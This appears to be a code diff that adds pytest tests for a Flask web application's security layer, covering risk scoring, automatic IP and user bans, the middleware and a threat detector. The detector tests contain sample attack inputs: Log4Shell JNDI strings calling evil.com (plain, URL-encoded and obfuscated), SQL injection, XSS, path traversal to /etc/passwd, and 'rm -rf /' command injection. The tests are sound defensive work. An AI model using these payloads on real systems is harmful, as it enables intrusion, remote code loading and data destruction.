+    ip = "1.2.3.4"
+    user_id = 123
+
+    assert scorer.get_ip_score(ip) == 0
+    assert scorer.get_user_score(user_id) == 0
+    assert scorer.get_combined_score(ip, user_id) == 0
+
+    scorer.record_threat(ip, user_id, threat_type="sql_injection", score=30, request_path="/login", payload="x")
+
+    assert scorer.get_ip_score(ip) == 30
+    assert scorer.get_user_score(user_id) == 30
+    assert scorer.get_combined_score(ip, user_id) == 30
+
+    scorer.record_threat(ip, user_id, threat_type="sql_injection", score=80, request_path="/login", payload="y")
+
+    assert scorer.get_ip_score(ip) == 100
+    assert scorer.get_user_score(user_id) == 100
+    assert scorer.get_combined_score(ip, user_id) == 100
+
+
+def test_auto_ban_on_score_100(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "5.6.7.8"
+    user_id = 456
+
+    scorer.record_threat(ip, user_id, threat_type="sql_injection", score=100, request_path="/api", payload="boom")
+
+    assert manager.is_ip_banned(ip) is True
+    assert manager.is_user_banned(user_id) is True
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is not None
+
+        cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is not None
+
+
+def test_jndi_injection_permanent_ban(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "9.9.9.9"
+    user_id = 999
+
+    scorer.record_threat(ip, user_id, threat_type=C.THREAT_TYPE_JNDI_INJECTION, score=100, request_path="/", payload="${jndi:ldap://x}")
+
+    assert manager.is_ip_banned(ip) is True
+    assert manager.is_user_banned(user_id) is True
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None
+
+        cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None
+
+
+def test_high_risk_three_times_permanent_ban(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager, high_risk_threshold=80, high_risk_permanent_ban_count=3)
+
+    ip = "10.0.0.1"
+    user_id = 1
+
+    scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="a")
+    scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="b")
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is not None  # score hits 100 => temporary ban first
+
+    scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="c")
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None  # 3 high-risk threats => permanent
+
+        cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
+        row = cursor.fetchone()
+        assert row is not None
+        assert row["expires_at"] is None
+
+
+def test_decay_scores_hourly_10_percent(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
+    ip = "3.3.3.3"
+    user_id = 11
+
+    old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
+
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+            VALUES (?, 100, ?, ?, ?)
+            """,
+            (ip, old_ts, old_ts, old_ts),
+        )
+        cursor.execute(
+            """
+            INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
+            VALUES (?, 100, ?, ?, ?)
+            """,
+            (user_id, old_ts, old_ts, old_ts),
+        )
+        conn.commit()
+
+    scorer.decay_scores()
+
+    assert scorer.get_ip_score(ip) == 81
+    assert scorer.get_user_score(user_id) == 81
+

tests/test_security_middleware.py

@@ -0,0 +1,155 @@
+from __future__ import annotations
+
+import pytest
+from flask import Flask, g, jsonify
+from flask_login import LoginManager
+
+import db_pool
+from db.schema import ensure_schema
+from security import init_security_middleware
+
+
+@pytest.fixture()
+def _test_db(tmp_path):
+    db_file = tmp_path / "security_middleware_test.db"
+
+    old_pool = getattr(db_pool, "_pool", None)
+    try:
+        if old_pool is not None:
+            try:
+                old_pool.close_all()
+            except Exception:
+                pass
+        db_pool._pool = None
+        db_pool.init_pool(str(db_file), pool_size=1)
+
+        with db_pool.get_db() as conn:
+            ensure_schema(conn)
+
+        yield db_file
+    finally:
+        try:
+            if getattr(db_pool, "_pool", None) is not None:
+                db_pool._pool.close_all()
+        except Exception:
+            pass
+        db_pool._pool = old_pool
+
+
+def _make_app(monkeypatch, _test_db, *, security_enabled: bool = True, honeypot_enabled: bool = True) -> Flask:
+    import security.middleware as sm
+    import security.response_handler as rh
+
+    # 避免测试因风控延迟而变慢
+    monkeypatch.setattr(rh.time, "sleep", lambda _seconds: None)
+
+    # 每个测试用例保持 handler/honeypot 的懒加载状态
+    sm.handler = None
+    sm.honeypot = None
+
+    app = Flask(__name__)
+    app.config.update(
+        SECRET_KEY="test-secret",
+        TESTING=True,
+        SECURITY_ENABLED=bool(security_enabled),
+        HONEYPOT_ENABLED=bool(honeypot_enabled),
+        SECURITY_LOG_LEVEL="CRITICAL",  # 降低测试日志噪音
+    )
+
+    login_manager = LoginManager()
+    login_manager.init_app(app)
+
+    @login_manager.user_loader
+    def _load_user(_user_id: str):
+        return None
+
+    init_security_middleware(app)
+    return app
+
+
+def _client_get(app: Flask, path: str, *, ip: str = "1.2.3.4"):
+    return app.test_client().get(path, environ_overrides={"REMOTE_ADDR": ip})
+
+
+def test_middleware_blocks_banned_ip(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/api/ping")
+    def _ping():
+        return jsonify({"ok": True})
+
+    import security.middleware as sm
+
+    sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
+
+    resp = _client_get(app, "/api/ping", ip="1.2.3.4")
+    assert resp.status_code == 503
+    assert resp.get_json() == {"error": "服务暂时繁忙，请稍后重试"}
+
+
+def test_middleware_skips_static_requests(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/static/test")
+    def _static_test():
+        return "ok"
+
+    import security.middleware as sm
+
+    sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
+
+    resp = _client_get(app, "/static/test", ip="1.2.3.4")
+    assert resp.status_code == 200
+    assert resp.get_data(as_text=True) == "ok"
+
+
+def test_middleware_honeypot_short_circuits_side_effects(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db, honeypot_enabled=True)
+
+    called = {"count": 0}
+
+    @app.get("/api/side-effect")
+    def _side_effect():
+        called["count"] += 1
+        return jsonify({"real": True})
+
+    resp = _client_get(app, "/api/side-effect?q=${${a}}", ip="9.9.9.9")
+    assert resp.status_code == 200
+    payload = resp.get_json()
+    assert isinstance(payload, dict)
+    assert payload.get("success") is True
+    assert called["count"] == 0
+
+
+def test_middleware_fails_open_on_internal_errors(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/api/ok")
+    def _ok():
+        return jsonify({"ok": True, "risk_score": getattr(g, "risk_score", None)})
+
+    import security.middleware as sm
+
+    def boom(*_args, **_kwargs):
+        raise RuntimeError("boom")
+
+    monkeypatch.setattr(sm.blacklist, "is_ip_banned", boom)
+    monkeypatch.setattr(sm.detector, "scan_input", boom)
+
+    resp = _client_get(app, "/api/ok", ip="2.2.2.2")
+    assert resp.status_code == 200
+    assert resp.get_json()["ok"] is True
+
+
+def test_middleware_sets_request_context_fields(_test_db, monkeypatch):
+    app = _make_app(monkeypatch, _test_db)
+
+    @app.get("/api/context")
+    def _context():
+        strategy = getattr(g, "response_strategy", None)
+        action = getattr(getattr(strategy, "action", None), "value", None)
+        return jsonify({"risk_score": getattr(g, "risk_score", None), "action": action})
+
+    resp = _client_get(app, "/api/context", ip="8.8.8.8")
+    assert resp.status_code == 200
+    assert resp.get_json() == {"risk_score": 0, "action": "allow"}

tests/test_threat_detector.py

@@ -0,0 +1,69 @@
+from flask import Flask, request
+
+from security import constants as C
+from security.threat_detector import ThreatDetector
+
+
+def test_jndi_direct_scores_100():
+    detector = ThreatDetector()
+    results = detector.scan_input("${jndi:ldap://evil.com/a}", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+
+
+def test_jndi_encoded_scores_100():
+    detector = ThreatDetector()
+    results = detector.scan_input("%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fa%7D", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+
+
+def test_jndi_obfuscated_scores_100():
+    detector = ThreatDetector()
+    payload = "${${::-j}${::-n}${::-d}${::-i}:rmi://evil.com/a}"
+    results = detector.scan_input(payload, "q")
+    assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+
+
+def test_nested_expression_scores_80():
+    detector = ThreatDetector()
+    results = detector.scan_input("${${env:USER}}", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_NESTED_EXPRESSION and r.score == 80 for r in results)
+
+
+def test_sqli_union_select_scores_90():
+    detector = ThreatDetector()
+    results = detector.scan_input("UNION SELECT password FROM users", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
+
+
+def test_sqli_or_1_eq_1_scores_90():
+    detector = ThreatDetector()
+    results = detector.scan_input("a' OR 1=1 --", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
+
+
+def test_xss_scores_70():
+    detector = ThreatDetector()
+    results = detector.scan_input("<script>alert(1)</script>", "q")
+    assert any(r.threat_type == C.THREAT_TYPE_XSS and r.score == 70 for r in results)
+
+
+def test_path_traversal_scores_60():
+    detector = ThreatDetector()
+    results = detector.scan_input("../../etc/passwd", "path")
+    assert any(r.threat_type == C.THREAT_TYPE_PATH_TRAVERSAL and r.score == 60 for r in results)
+
+
+def test_command_injection_scores_85():
+    detector = ThreatDetector()
+    results = detector.scan_input("test; rm -rf /", "cmd")
+    assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
+
+
+def test_scan_request_picks_up_args():
+    app = Flask(__name__)
+    detector = ThreatDetector()
+
+    with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
+        results = detector.scan_request(request)
+        assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
+